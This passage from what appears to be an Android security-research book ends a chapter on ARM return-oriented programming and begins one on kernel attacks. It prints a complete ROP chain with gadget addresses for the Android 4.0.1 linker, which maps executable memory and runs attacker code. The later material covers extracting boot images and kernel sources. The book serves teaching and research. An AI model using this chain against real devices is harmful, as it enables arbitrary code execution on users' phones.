for different processor feature sets. As a consequence, any linker ROP chains’
gadget addresses are specific to a certain processor feature set.
For those reasons, the dynamic linker is the perfect goal for crafting a somewhat generic ROP chain that can be potentially reused on as many targets as
possible. As a case study, this chapter examines an ROP chain for the Android
4.0.1 dynamic linker, as found on the Galaxy Nexus. This case study is intended
to continue the WebKit exploit introduced in Chapter 8.
Because Android has no signature enforcement on executable code mappings,
the ROP chain simply allocates one page (4,096 bytes) of executable memory, copies an attacker-provided native code there, and jumps to it. This allows plugging
in an arbitrary user-mode payload into an exploit by supplying different code.
Pivoting the Stack Pointer
Usually the first step in launching an ROP payload is getting the stack pointer
to point at attacker-supplied data, such as the heap, which is also called Pivoting.
When exploiting stack-based buffer overflows, the stack pointer is usually close
to the ROP payload, and pivoting can be easy. When the attacker-supplied data
resides on the heap, pivoting the stack can be one of the most challenging tasks
involved in creating a functional ROP chain.
Going back to the example from Chapter 8, we assume we have gained control
of the program counter via hijacking a virtual function pointer in a RenderObject
class and cleverly faking the corresponding vtable. Even for other scenarios,
such as a generic use-after-free on the main heap, it is often necessary to pivot
the stack pointer onto the heap. Depending on the bug being exploited, there
might be better-suited techniques instead of the generic approach presented
here. One example is the presence of a heap pointer on the stack due to a local
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variable. This pointer can then be used by a frame pointer to stack pointer
restoring epilogue to pivot into the heap.
There is one particularly interesting gadget in the linker that allows setting
all registers to absolute, user-defined values. This master gadget is so powerful
that it has been previously independently chosen by at least one other exploit
writer for a private exploit. It is part of unused exception unwinding code, and
its Android 4.0.1 incarnation looks like the following:
.text:B0002868
EXPORT __dl_restore_core_regs
.text:B0002868
.text:B0002868
ADD
R1, R0, #0x34
.text:B000286C
LDMIA
R1, {R3-R5}
.text:B0002870
STMFD
SP!, {R3-R5}
.text:B0002874
LDMIA
R0, {R0-R11}
.text:B0002878
LDMFD
SP, {SP-PC}
.text:B0002878 ; End of function __dl_restore_core_regs
The power of this function lies in the multiple entry points one can choose
to turn it into a gadget:
■
Starting from the end by using 0xb0002878 as gadget start address, the
stack pointer is loaded from the current stack, together with lr and the
new program counter. This is a useful gadget when the topmost local
variable in the stack frame points to user-controlled data, but that is a
highly bug-specific scenario.
■
When jumping to 0xb0002870, the register contents of r3, r4, and r5 are
stored on the top of the stack frame before sp, lr, and pc are restored from
there. This is useful when r3 points to user-controlled data and r5 to some
valid code (for example, a function pointer from the bug environment).
■
Alleviating the previous rather strong requirements, one can jump to
0xb000286c and load the future contents of sp, lr, and pc by dereferencing
the memory at r1. This allows either abusing an existing memory object
with pointers to user-controlled data at the first double word or when the
contents pointed to by r1 are fully user controlled and the value to set the
stack pointer to can be determined reliably. This is an especially interesting gadget. The compiler often generates code to load the vtable pointer
into r1 when calling a vtable function that does not have any parameters.
Because in this scenario you need to fake a vtable for pc control, you can
likely also control the first double word of it, and thereby sp, using this
pivot gadget.
■
Lastly, when using the entire function as pivot gadget by jumping to
0xb0002868, sp can be set by dereferencing r0 with an offset of 0x34.
Although this offset at first seems random, it is actually quite handy for
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real-world cases. For all hijacked vtable calls, r0 will be the “this” pointer.
This very often allows controlling data at offset 0x34 by manipulating
member variables of the class in question.
If the pivots provided by the master gadget do not fit a particular use case,
there are even more options thanks to the call-sites of this function:
.text:B0002348
.text:B000234C
ADD
BL
R0, SP, #0x24C
__dl_restore_core_regs
.text:B00023D0
.text:B00023D4
ADD
BL
R0, R4, #4
__dl_restore_core_regs
.text:B00024F0
.text:B00024F4
ADD
BL
R0, R5, #4
__dl_restore_core_regs
Using these additional addresses, you can also load sp dereferencing from
r4 + 0x38, r5 + 0x38, and from further down the current stack.
By pivoting the stack pointer to point into entirely user-controlled data, you
can now proceed to craft a ROP chain of sufficient length to allocate executable
memory, copy the payload there, and transfer control flow to the native code.
Executing Arbitrary Code from a New Mapping
Now that you control the stack pointer and consequently also the contents of
the stack, you can provide list of gadget addresses to be sequentially executed.
Because your overall choice of gadgets from the linker is limited and constructing a new target-specific ROP chain for each payload is cumbersome, you follow the common approach of creating a generic chain that allocates executable
memory and executes any native code there. Such a chain is commonly referred
to as an ROP stager.
The first goal is to allocate executable memory to work with. This is how you
execute arbitrary code despite the XN protection. Pages are allocated with the
mmap system call on Linux. Fortunately, the linker contains a full copy of the
Bionic mmap implementation. This copy resides at 0xb0001678 in the example
linker. The mmap function expects six arguments. Per the Android Embedded
Application Binary Interface (EABI), the first four arguments are passed in r0
through r3 and the last two are pushed onto the stack. Therefore you need a
separate gadget initializing r0 to r3 to your desired values. One such gadget is
the following:
.text:B00038CA
POP
{R0-R4,PC}
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The mmap function and this gadget can then be combined to call mmap with
arbitrary parameters. This allows allocating executable memory, to which your
native code can be copied and then executed.
However, note that the entire mmap function is invoked, and it in turn returns
to the contents of lr! It is therefore imperative to set lr to a gadget that advances
the stack pointer over the two stack arguments and then loads pc from the stack.
Advancing the stack pointer by eight bytes can be accomplished using a pop of
two registers; therefore this Thumb gadget can be used:
.text:B0006544
POP
{R4,R5,PC}
When using the pivot gadget introduced earlier, lr can be set to 0xb0006545
as part of the pivot already. Otherwise a gadget setting lr from the stack must
be inserted at the beginning of the ROP chain.
Although mmap usually chooses the address to allocate memory at for you, there
are special flags that allow allocating at a fixed address. This makes developing
an ROP chain easier; as a result, mmap, which normally holds the address, can
be discarded. Instead, the statically chosen address can be hard-coded in other
places of the ROP chain. More details about the mmap arguments are available
from its man page. The static address chosen here is 0xb1008000, which is a
fair bit after the linker in a typically unused address range. This results in the
following first part of the ROP chain:
0xb00038ca
0xb0018000
0x00001000
0x00000007
0x00000032
0xdeadbeef
#
#
#
#
#
#
pop
r0:
r1:
r2:
r3:
r4:
{r0-r4,pc}
static allocation target address
size to allocate = one page
protection = read, write execute
flags = MAP_ANON | MAP_PRIVATE | MAP_FIXED
don’t care
0xb0001678
0xffffffff
0x00000000
# pc: __dl_mmap, returning to lr = 0xb006545
# fifth parameter on stack: fd = -1
# sixth parameter on stack: offset = 0
0xdeadc0de
# next gadget’s address
After executing mmap, lr points into mmap itself because it invokes a subroutine
and thereby sets lr to the address following that subroutine invocation. This is
important if later gadgets return to lr like mmap did.
At this point, the memory to execute the native code has been allocated but
currently contains just zeroes. The next step is to copy the payload into that
memory allocation and transfer the control there. Copying the memory can be
achieved with the linker’s internal copy of memcpy. However, even if a pointer to
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the native code was available in a register at the control flow hijack, that register
is very well clobbered now. It is usually possible to save the pointer value and
retrieve it later, but not always. In this case study, you instead abuse a specific
property of adjacent WebKit strings.
The data structure used to represent strings in WebKit contains, among
other elements, a pointer to the actual string data. Figure 9-7 depicts a concrete
example of this data structure. By splitting the ROP chain across the boundary
of two strings, it is possible to take advantage of the data pointer. The first part
of the ROP chain can pop enough data off of the stack (currently pointing into
the first string) to load the data pointer into a register and continue the ROP
chain from the second string’s contents. Figure 9-7 shows how the string header
memory overlaps what will be loaded into registers:
pc
0×b0005915
r0
0
r1
0×3023
r2
0×88
r3
0×1802
m_length
r4
0×910674
m_data8
r5
0
union
r6
0
m_hashAndFlags
pc
0×deadbeef
pop {r0−r6, pc}
pointer
next Gadget
Heap Header
m_refCount
StringImpl
Figure 9-7: Pop over string header
For your purposes, it will be useful to have the string pointer in r4. This is
equivalent to ending the first string in the address of a pop gadget that first
pops the heap header and string size and reference count into r0 to r3, and then
the actual pointer into r4. If a higher register is desired, padding at the end of
the first string can be introduced. There are two more header elements to be
skipped, so the optimal gadget (again, a Thumb gadget) is the following:
.text:B0005914
POP
{R0-R6,PC}
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Also the other parameters for mmap need to be surgically set up. First, you
set up r0, the destination of the copy. There is a gadget that also fixes up lr at
the same time:
.text:B000131C
.text:B0001320
LDMFD
BX
SP!, {R0,LR}
LR
Because no stack parameters need to be cleaned up in the following gadgets,
lr can simply be pointed to a gadget that just fetches the next pc from the stack.
Next, r2 must be loaded with the length to copy. Also, r3 needs to point to
some writable memory later. You reuse your static allocation for this location.
Accordingly the next gadget is:
.text:B0001918
.text:B000191C
LDMFD
BX
SP!, {R2,R3}
LR
Note that the bx lr is equivalent to a pop {pc} now. With r3 pointing to valid
memory, the following Thumb gadget for moves r4—which still holds the pointer
to the second string’s contents—into r1:
.text:B0006260
.text:B0006262
…
.text:B0006268
.text:B000626A
…
.text:B0006274
MOV
B
R1, R4
loc_B0006268
STR
B
R1, [R3]
locret_B0006274
POP
{R4-R7,PC}
The resulting second part of the ROP chain looks like the following:
0xb0005915
# pop over heap and string headers, pointer goes into r4
↓ second string starts here
0xb000131c
0xb0018000
0xb0002ab0
# pop {r0, lr}; bx lr
# r0: copy destination = allocation address
# lr: address of pop {pc}
0xb0001918
0x00001000
0xb0018000
# pop {r2, r3, pc}
# r2: copy length = one page
# r3: scratch memory = allocation address
0xb0006261
0xdeadbeef
0xdeadbeef
# r1 <- r4 ([r3] <- r4, pop {r4-r7})
# r4: don’t care
# r5: don’t care
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0xdeadbeef
0xdeadbeef
# r6: don’t care
# r7: don’t care
0xdeadc0de
# pc: next gadget’s address
Now, all register arguments to memcpy have been set and lr points to a
pop {pc} sequence, so memcpy returns normally. All that’s left to do is invoke
memcpy and then jump to the code. The memory allocation contains the contents
of the second string, so the native code should immediately follow the ROP
chain. Consequently, jumping into the allocation must be offset by the length
of the ROP chain. The resulting full ROP chain is the combination of the two
previous parts with the memcpy invocation and lastly the jump into the payload:
0xb00038ca
0xb0018000
0x00001000
0x00000007
0x00000032
0xdeadbeef
#
#
#
#
#
#
pop
r0:
r1:
r2:
r3:
r4:
{r0-r4, pc}
static allocation target address
size to allocate = one page
protection = read, write execute
flags = MAP_ANON | MAP_PRIVATE | MAP_FIXED
don’t care
0xb0001678
0xffffffff
0x00000000
# pc: __dl_mmap, returning to lr = 0xb006545
# fifth parameter on stack: fd = -1
# sixth parameter on stack: offset = 0
0xb0005915
# pop over heap and string headers, pointer goes into r4
↓ second string starts here
0xb000131c
0xb0018000
0xb0002ab0
# pop {r0, lr}; bx lr
# r0: copy destination = allocation address
# lr: address of pop {pc}
0xb0001918
0x00001000
0xb0018000
# pop {r2, r3, pc}
# r2: copy length = one page
# r3: scratch memory = allocation address
0xb0006261
0xdeadbeef
0xdeadbeef
0xdeadbeef
0xdeadbeef
#
#
#
#
#
0xb00001220
0xb00018101
# __dl_memcpy, returns to and preserves lr
# Thumb payload jump
r1 <- r4 ([r3] <- r4, pop {r4-r7})
r4: don’t care
r5: don’t care
r6: don’t care
r7: don’t care
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Summary
In this chapter, you found out why and how to effectively use ROP on the ARM
architecture for achieving arbitrary, native code execution. The primary reason
to use ROP on recent Android versions is the presence of the XN mitigation,
which prevents an attacker from directly executing regular data in memory.
Even without the XN mitigation, using ROP can overcome the separate instruction and data caches of the ARM architecture.
Despite the perceived difficulty of using ROP in the presence of lr-based returns,
general stack-based ROP is still feasible due to the presence of pop {pc} gadgets.
Even gadgets ending in a bx lr instruction can be leveraged by cleverly pointing
lr to a single pop {pc} instruction. Confusing ARM instructions for Thumb pop
{..., pc} instructions yields even more potential gadgets. The current execution mode can be switched by utilizing Interworking support, namely setting
the low bit of a gadget address to switch to Thumb mode. Finding gadgets is
an easy task on RISC architectures like ARM. A simple dead listing produced
by a disassembler is sufficient due to fixed-length instruction encoding.
A reusable example ROP chain for the Android dynamic linker was provided
and explained in depth. On Android 4.0 and prior versions, the linker base
address was fixed, so a ROP chain can be crafted without an information leak.
Because the dynamic linker must be present in any dynamically linked binary
(which includes almost all binaries on a default Android build), it can be reused
for a variety of attack targets.
The next chapter provides you with the tools and techniques needed to develop,
debug, and exploit Android’s operating system kernel.
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CHAPTER
10
Hacking and Attacking the Kernel
The Linux kernel is the heart of the Android operating system. Without it,
Android devices would not be able to function. It interfaces user-space software
with physical hardware devices. It enforces the isolation between processes and
governs what privileges those processes execute with. Due to its profound role
and privileged position, attacking the Linux kernel is a straightforward way to
achieve full control over an Android device.
This chapter introduces attacking the Linux kernel used by Android devices.
It covers background information about the Linux kernel used on Android
devices; how to configure, build, and use custom kernels and kernel modules;
how to debug the kernel from a post-mortem and live perspective; and how to
exploit issues in the kernel to achieve privilege escalation. The chapter concludes
with a few case studies that examine the process of turning three vulnerabilities
into working exploits.
Android’s Linux Kernel
The Linux kernel used by Android devices began as Russell King’s project to
port Linux 1.0 to the Acorn A5000 in 1994. That project predated many of the
efforts to port the Linux kernel to other architectures such as SPARC, Alpha, or
MIPS. Back then, the toolchains lacked support for ARM. The GNU Compiler
Collection (GCC) did not support ARM, nor did many of the supplementary
309
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tools in the toolchain. As time went on, further work was done on ARM Linux
and the toolchain. However, it wasn’t until Android that the ARM Linux kernel
received so much attention.
Android’s Linux kernel was not created overnight, though. In addition to
previous porting efforts, the Android developers made numerous modifications
to the kernel to support their new operating system. Many of these changes,
which are discussed in Chapter 2, come in the form of custom drivers. Of particular note is the Binder driver, which is central to Android’s inter-process
communication (IPC). The Binder driver lays the groundwork for communication between native and Dalvik components as well as for app building blocks,
such as Intents. Further, the importance of security on a device as sensitive as a
smartphone has led to the implementation of numerous hardening measures.
One very important aspect of Android’s Linux kernel is that it is a monolithic
kernel. In contrast to a microkernel architecture where many drivers run in a
less privileged context (though still more privileged than user-space), everything
that is part of the Linux kernel runs entirely in supervisor mode. This property,
in conjunction with the vast exposed attack surface, makes the kernel an attractive target for attackers.
Extracting Kernels
In addition to being a monolithic kernel, Android’s Linux kernel is distributed
as a monolithic binary. That is, its core consists of only a single binary file, often
called a zImage. The zImage binary consists of some bootstrap code, a decompressor, and the compressed kernel code and data. When the system boots, the
compressed image is decompressed into RAM and executed. This is a simplistic
overview of the process and is likely to change in future releases of Android.
Getting a hold of the binary image that runs on any particular device is
attractive for a number of reasons. First of all, depending on the configuration
used, the kernel build tools embed several interesting things into the image.
Of particular note are global function and data symbols, which are covered in
more detail in the “Extracting Addresses” section later in this chapter. Second,
it is possible to analyze the code with a tool like IDA Pro to find vulnerabilities
through binary auditing. Third, kernel images can be used to verify the presence of, or to port an exploit for, a previously discovered vulnerability. Also,
at a higher level, kernel images can be used to craft custom recoveries for new
devices or back port new versions of Android to older unsupported devices. By
no means is this an exhaustive list of the reasons you might want to get your
hands on kernel binaries, but it covers the most common cases.
To get the binary kernel image, you first need to get an image of the boot
partition. You can do this using a few methods. The first method, and probably
the easiest, is to extract them from stock firmware images (sometimes called
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ROMs). The process varies from one original equipment manufacturer (OEM)
to another, but rest assured that full stock images always contain these binaries.
Also, this method is especially useful when trying to achieve initial root access
to a device.
The second method, which requires a rooted device, is to extract them directly
from the target device itself. This method is especially useful for porting or
targeting a single device and can still be used in the event that a full stock
ROM is not available. Finally, kernel binaries for many Android Open Source
Project (AOSP)–supported devices are available under the device directory in
the AOSP repository. Experience shows that this is the least reliable method
because these binaries often lag behind or differ from the kernels used on the
live device itself. The next section takes a closer look at how you get kernel
images using the first two methods.
Extracting from Stock Firmware
Acquiring the stock firmware for a given device ranges from trivial to quite challenging. On the trivial side, Google posts factory images for Nexus devices at
https://developers.google.com/android/nexus/images. Downloading them
does not require any authentication or payment, and they use the common TAR
and ZIP archive tools to package them. On the challenging side, some OEMs
use proprietary file formats to distribute their firmware. If no open source tool
is available, accessing the contents may require using the OEMs’ proprietary
tools. This section explains how to extract the boot.img from various stock
firmware images and then shows you how to extract an uncompressed kernel
from the boot image.
Nexus Factory Images
Kernel binaries for Nexus devices are very easy to obtain because factory images
are widely available and promptly posted. For example, Android 4.4 was released
during the writing of this manuscript. Using the factory image for the Nexus 5,
you are able to extract and further analyze the live kernel. After downloading
the factory image, decompress it:
dev:~/android/n5 $ tar zxf hammerhead-krt16m-factory-bd9c39de.tgz
dev:~/android/n5 $ cd hammerhead-krt16m/
dev:~/android/n5/hammerhead-krt16m $ ls
bootloader-hammerhead-HHZ11d.img
flash-all.bat
flash-all.sh*
flash-base.sh*
image-hammerhead-krt16m.zip
radio-hammerhead-M8974A-1.0.25.0.17.img
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The images for the boot and recovery partitions are in the image-hammerheadkrt16m.zip archive as boot.img and recovery.img, respectively. The boot.img
is the most interesting file because it is the kernel used on normal boots:
dev:~/android/n5/hammerhead-krt16m $ unzip -d img \
image-hammerhead-krt16m.zip boot.img
Archive: image-hammerhead-krt16m.zip
inflating: img/boot.img
dev:~/android/n5/hammerhead-krt16m $ cd img
dev:~/android/n5/hammerhead-krt16m/img $
At this point you have the boot.img, but you still need to get the kernel out.
The process for doing that is explained in the “Getting the Kernel from a Boot
Image” section later in this chapter.
OEM Stock Firmware
Finding and extracting kernels from the stock firmware images provided by
OEM vendors is much more convoluted than doing it for Nexus devices. As
stated previously, each OEM has its own process, tools, and proprietary file
format for its stock ROMs. Some of these vendors don’t even make their stock
firmware images readily available. Instead, they force you to use their tools for
image acquisition. Even those vendors that do provide stock firmware images
often require that you use proprietary tools to extract or flash ROMs. This section explains the process of extracting a boot.img from a stock firmware image
for each of the top six Android device vendors. A list of flashing and firmware
extraction tools for some of these OEMs is provided in Appendix A.
ASUS
ASUS makes stock firmware images available on its support website in the form
of zipped blob files. A project called “BlobTools” on Github supports extracting
the blob, which contains the desired boot.img.
HTC
HTC doesn’t routinely release stock firmware images, but it has released a
couple on its Developer Center site. However, you can find many HTC ROMs
through third-party aggregation sites. These stock images are released as ROM
Update Utilities (RUUs). Luckily, several open source tools that extract the rom.
zip from within the RUU are available. This alleviates the need for a Windows
machine. Inside the rom.zip, the boot_signed.img is a boot.img with an extra
header. You can extract it like so:
dev:~/android/htc-m7-ruu $ unzip rom.zip boot_unsigned.img
[...]
inflating: boot_signed.img
dev:~/android/htc-m7-ruu $ dd if=boot_signed.img of=boot.img bs=256 skip=1
[...]
After stripping the 256 byte header off, you have the desired boot.img.
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LG
LG’s update and recovery infrastructure is complex and proprietary. Its LG
Mobile Support tool even requires using an International Mobile Equipment
Identity (IMEI) to query its back-end systems. Luckily, searching for the model
number along with “stock ROM” enables you to easily locate stock ROMs for
most devices. To make matters worse, though, LG uses a variety of proprietary
formats for these ROMs, including BIN/TOT, KDZ, and CAB. Extracting and
flashing these ROMs can be difficult. A pair of tools from community developers
eases the process. Starting from a CAB file, the process takes three steps. First,
extract the CAB file using one of the few tools that support this compression
format. Next, use the binary-only LGExtract tool (Windows only) to extract the
WDB file into a BIN file. You can find this tool on the XDA Developers forum
at http://forum.xda-developers.com/showthread.php?t=1566532. Finally,
use LGBinExtract from https://github.com/Xonar/LGBinExtractor to extract
the BIN into its components. Inside the BIN directory, there will be a file called
8-BOOT.img. The number may vary, but this is the file you’re after. Among the
top six OEMs, the process for LG stock firmware is by far the most complex.
Motorola
Like most OEMs, Motorola does not provide direct downloads for their stock
firmware images. Because there is a need for open access to these images, several community sites host them. Older Motorola devices use the proprietary
SBF file format, which can be extracted using sbf_flash’s -x option. The file
called CG35.img is the boot.img you seek. Newer devices use a zip file (.xml.
zip) containing the various partition images, including boot.img.
Samsung
Samsung distributes stock firmware using its proprietary Kies tool. Apart from
this tool, the community firmware site SamMobile hosts a large number of stock
ROMs for Samsung devices. Samsung stock images use a .tar.md5 file extension,
which is just a TAR file with a text MD5 appended. These are usually zipped,
too. Extracting the zip and then the TAR produces the desired boot.img file.
Sony
Sony distributes stock firmware via its Sony Update Service (SUS) tool.
Additionally, a community site called Xperia Firmware hosts firmware images
for many devices. Sony device firmware is distributed in a format called FTF,
which is just a zip file. Inside, however, there are proprietary files for each component of the firmware. The file that is most interesting to us here is kernel
.sin. Unlike other OEMs, Sony does not use the boot.img format. The Andoxyde
tool is large and unwieldy, but it supports extracting the kernel image from this
file. It’s also possible to extract the compressed kernel using binwalk and/or dd.
Binwalk reveals an ELF binary and two gzip streams. The first gzip stream is
the zImage file that you ultimately seek to extract.
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Extracting from Devices
Unlike the process of extracting from stock firmware, there is little variance in
the process of extracting kernel images directly from devices. The process is
largely the same regardless of the device type (model, manufacturer, carrier,
etc.). The general process involves finding the corresponding partition, dumping it, and extracting it.
There are a handful of ways to figure out exactly which partition holds the
boot.img data. First, you can use the by-name directory within the System-OnChip (SoC)–specific entry in /dev/block/platform:
[email protected]:/data/local/tmp $ cd /dev/block/platform/*/by-name
[email protected]:/dev/block/platform/msm_sdcc.1/by-name $ ls -l boot
lrwxrwxrwx root root
1970-01-02 11:28 boot -> /dev/block/mmcblk0p20
W A R N I N G Some devices have an aboot entry in the by-name directory, too. Be
careful not to write to this partition in lieu of the boot partition. Doing so may brick
your device.
You can use this symbolic link directly, or you can use the block device to
which it points. The next method looks at the first several bytes of each partition:
[email protected]:/data/local/tmp/kernel # for ii in /dev/block/m*; do \
BASE=`../busybox basename $ii`; \
dd if=$ii of=$BASE count=1 2> /dev/null; \
done
[email protected]:/data/local/tmp/kernel # grep ANDROID *
Binary file mmcblk0p20 matches
Binary file mmcblk0p21 matches
Unfortunately this gives you two matches (or possibly more). Remember that
both the boot and recovery partitions use the same format. By peering into the
header, you can tell the boot partition apart because it has a smaller ramdisk_size
field than the recovery partition.
Now you are ready to dump the partition data and pull it down from your
device. Note that dumping an image from the device includes the entire partition
contents, including unused areas. Boot images extracted from a stock firmware
package only includes the data that is necessary. As such, dumped binaries
will be bigger (sometimes significantly) than the factory boot.img. To dump a
partition, use the dd command as shown here:
[email protected]:/data/local/tmp/kernel # dd \
if=/dev/block/platform/omap/omap_hsmmc.0/by-name/boot of=cur-boot.img
16384+0 records in
16384+0 records out
8388608 bytes transferred in 1.635 secs (5130647 bytes/sec)
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[email protected]:/data/local/tmp/kernel # chmod 644 *.img
[email protected]:/data/local/tmp/kernel #
After dumping an image of the boot partition to the cur-boot.img file, use
chmod to allow the Android Debug Bridge (ADB) user to pull the images from
the device. You then pull the images down to your development machine using
ADB as follows:
dev:~/android/src/kernel/omap $ mkdir staging && cd $_
dev:~/android/src/kernel/omap/staging $ adb pull \
/data/local/tmp/kernel/cur-boot.img
2379 KB/s (8388608 bytes in 3.442s)
The final step is extracting the kernel from the obtained boot image.
Getting the Kernel from a Boot Image
Recall that Android devices typically have two different modes where they will
boot a Linux kernel. The first mode is the normal boot process, which uses the
boot partition. The second mode is for the recovery process, which uses the
recovery partition. The underlying file structure for both of these partitions is
identical. They both contain a short header, a compressed kernel, and an initial
ramdisk (initrd) image. The compressed kernel used during normal boots is
the most security critical, and thus is the most interesting to obtain.
Internally, the boot.img and recovery.img files are composed of three pieces.
The file begins with a header used to identify the file format and provide basic
information about the rest of the file. For more information about the structure of
this header, consult the system/core/mkbootimg/bootimg.h file within the AOSP
repository. The page_size entry in this structure is rather important because
the kernel and initrd images will be aligned on block boundaries of this size.
The compressed kernel is located on the next block boundary immediately
following the header. Its size is stored in the kernel_size member of the header
structure. At the next block boundary, the initrd image begins.
Extracting these pieces manually can be quite tedious. The mkbootimg utility
from the AOSP is used when building full system images from source, but it
does not support extracting images. To extract images, the abootimg tool was
created based on mkbootimg. It works quite well for unpacking the image file,
as shown here:
dev:~/android/n5/hammerhead-krt16m/img $ mkdir boot && cd $_
dev:~/android/n5/hammerhead-krt16m/img/boot $ abootimg -x ../boot.img
writing boot image config in bootimg.cfg
extracting kernel in zImage
extracting ramdisk in initrd.img
Now you have the zImage file that you’re after.
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Decompressing the Kernel
Doing further analysis on a kernel binary requires decompressing it. The Linux
kernel supports three different compression algorithms: gzip, lzma, and lzo.
By and large, a majority of Android device kernels are compressed using the
traditional gzip algorithm. The Linux kernel contains a script called scripts/
extract-vmlinux, which unfortunately doesn’t work on Android kernels. As
such, you must decompress the kernel manually. Thankfully, the binwalk tool
makes this process much easier:
dev:~/android/n5/hammerhead-krt16m/img/boot $ binwalk zImage | head
[...]
18612
0x48B4
gzip compressed data, from Unix, NULL
date: Wed Dec 31 18:00:00 1969, max compression
[...]
dev:~/android/n5/hammerhead-krt16m/img/boot $ dd if=zImage bs=18612 \
skip=1 | gzip -cd > piggy
The second command above pipes the output from dd to the gzip command,
which gives you the uncompressed kernel binary image. With this image in hand,
you can extract details from it or analyze the code in IDA Pro. Later sections
of this chapter discuss how to extract specific information from uncompressed
kernel binaries.
Running Custom Kernel Code
When hacking and attacking the kernel, it is tremendously useful to be able
to introduce new code. You can use custom kernel modules to instrument the
kernel to monitor existing behavior. Changing the kernel configuration allows
enabling powerful features like remote debugging. In any case, changing the
kernel’s code without an exploit requires using the Android and Linux kernel
tools to compile the new code. This section walks through the process of obtaining the kernel source code, setting up the build environment, configuring the
kernel, building custom modules and kernels, and loading your new code onto
both AOSP-based and OEM-provided Android devices. This chapter provides
relevant examples using an AOSP-based Galaxy Nexus and the Sprint Samsung
Galaxy S III.
Obtaining Source Code
Before you can build custom modules or a kernel for your device, you must
obtain the source code. The method for obtaining the code varies depending
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on who is responsible for the kernel for a particular device. Google hosts kernel
Git repositories for AOSP-supported Nexus devices. On the other hand, OEMs
use various methods to distribute their kernel source. Because the Linux kernel
is distributed under version 2 of the GNU Public License (GPL), vendors are
legally obligated to release their source code, including customizations.
N O T E When unable to locate the kernel source code, contact the vendor directly
and request that the source be made available. If needed, remind them of their legal
obligation to do so in compliance with the Linux kernel’s GPL license.
In most cases, obtaining the kernel source for a particular device is straightforward. However, in some cases it is not possible. On several occasions, both
OEMs and Google have been slow to provide kernel source for newer devices.
Generally, patience pays off as few devices remain without kernel source availability indefinitely.
Getting AOSP Kernel Source
Google’s Nexus line of Android devices represents the company’s reference
implementation primarily intended for use by developers. Source code is available
for nearly every component in the system. The kernel is no exception. As such,
getting source code for Nexus devices is fairly straightforward. Figuring out
exactly which kernel source a device uses is easy, but it isn’t a one-step process.
Within AOSP, there are two specific places to find kernel-related information.
The first contains information about a particular support device, or closely
related family of devices. The second contains several different kernel source
trees. This section covers how to leverage these places to get the exact kernel
source needed for the remainder of the chapter, which uses a Galaxy Nexus
running Android 4.2.2 for illustrative purposes.
Google hosts device-specific repositories in the device directory in the AOSP
tree. These repositories include things such as Makefiles, overlays, header files,
configuration files, and a kernel binary named kernel. This file is particularly
interesting as its history tracks which sources were used to build it. Google
provides information about these repositories in the AOSP documentation at
http://source.android.com/source/building-kernels.html. Commit information for the kernel file in these repositories, as well as the documentation,
tends to lag behind the release of new devices. As such, these repositories are
typically only useful for mapping a particular device to its SoC tree. Figure 10-1
provides a mapping of several AOSP-supported devices to their SoC, and thus
its kernel source repository.
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Model
SoC
Nexus 7 2013 Wi-Fi
MSM
Nexus 7 2013 Mobile
MSM
Nexus 10
Exynos 5
Nexus 4
MSM
Nexus 7 2012 Wi-Fi
Tegra
Nexus 7 2012 Mobile
Tegra
Galaxy Nexus
OMAP
Galaxy Nexus CDMA/LTE
OMAP
Pandaboard
OMAP
Motorola Xoom Verizon
Tegra
Motorola Xoom Wi-Fi
Tegra
Nexus S
Exynos 3
Nexus S 4G
Exynos 3
Figure 10-1: Mapping of AOSP devices to SoC
As mentioned in Chapter 3, it is usually possible to determine the SoC used
by a device from entries under the /dev/block/platform directory.
[email protected]:/dev/block/platform $ ls
omap
After you determine the SoC manufacturer, you can obtain the kernel source
from Google using Git. AOSP contains one Git repository for each supported SoC.
Figure 10-2 shows the repository name for each Google-hosted SoC kernel tree.
SoC
Kernel Name
MSM
msm
Exynos 5
exynos
Tegra
tegra
OMAP
omap
Exynos 3
samsung
Emulator
goldfish
Figure 10-2: Kernel names for each SoC
From the Figure 10-1, you can see that the target device is based on the OMAP
SoC. The following excerpt shows the commands needed to clone the corresponding kernel source.
dev:~/android/src $ mkdir kernel && cd $_
dev:~/android/src/kernel $ git clone \
https://android.googlesource.com/kernel/omap.git
Cloning into 'omap'...
remote: Counting objects: 41264, done
remote: Finding sources: 100% (39/39)
remote: Getting sizes: 100% (24/24)
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remote: Compressing objects: 100% (24/24)
Receiving objects: 100% (2117273/2117273), 441.45 MiB | 1.79 MiB/s, done
remote: Total 2117273 (delta 1769060), reused 2117249 (delta 1769054)
Resolving deltas: 100% (1769107/1769107), done.
After the clone operation completes, you have a repository on the master
branch. However, notice that there are no files in the working copy.
dev:~/android/src/kernel $ cd omap
dev:~/android/src/kernel/omap $ ls
dev:~/android/src/kernel/omap $
The master branch of AOSP kernel trees is kept empty. In a Git repository, the
.git directory contains everything necessary to create a working copy from any
point in development history. Checking out the master branch is a nice shortcut
to delete all files that are already tracked, thereby freeing up storage space.
The final step in obtaining the kernel source for an AOSP-supported device
involves checking out the correct commit. As stated previously, the commit
logs for the kernel file in the device directory often lag behind live kernels. To
solve this problem, you can use the version string extracted from /proc/version or a decompressed kernel image. The following ADB shell session excerpt
demonstrates the process on the reference device.
[email protected]:/ $ cat /proc/version
Linux version 3.0.31-g9f818de ([email protected])
(gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT
Wed Nov 28 11:20:29 PST 2012
In this excerpt, the relevant detail is the seven-digit hex value following
3.0.31-g in the kernel version: 9f818de. Using this value, you are able to check
out the exact commit needed.
dev:~/android/src/kernel/omap $ git checkout 9f818de
HEAD is now at 9f818de... mm: Hold a file reference in madvise_remove
At this point you have successfully checked out a working copy of the kernel
source for the target device. This working copy is used throughout the rest of
this chapter.
Getting OEM Kernel Source
Obtaining source code for OEM devices varies from one manufacturer to another.
OEMs rarely provide access to kernel source via source control (Git, or otherwise).
Instead, most vendors have an open source portal where you can download
source code. For further information on how various OEMs release source code,
refer to Appendix B. After you’ve located the specific OEM portal, the typical
process is to search for the model number of the target device. This usually
results in a downloadable archive containing the kernel source and directions
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for building it. Because the process varies so much from OEM to OEM, this
chapter doesn’t dive into more detail here. However, the chapter does cover the
process further when it walks you through building a kernel for an OEM device
in the “Building a Custom Kernel” section later in this chapter.
Setting Up a Build Environment
Building custom kernel modules or kernel binaries requires a proper build
environment. Such an environment consists of an ARM compiler toolchain
and various other build tools, such as GNU make. As discussed previously in
Chapter 7, there are several compiler toolchains available. The compiler used for
a particular device is sometimes documented by the OEM in a text file included
with the kernel source archive. Depending on which toolchain is used, the exact
process of setting up the build environment varies. In this chapter, you use
various versions of the AOSP prebuilt toolchain. Using other toolchains is out
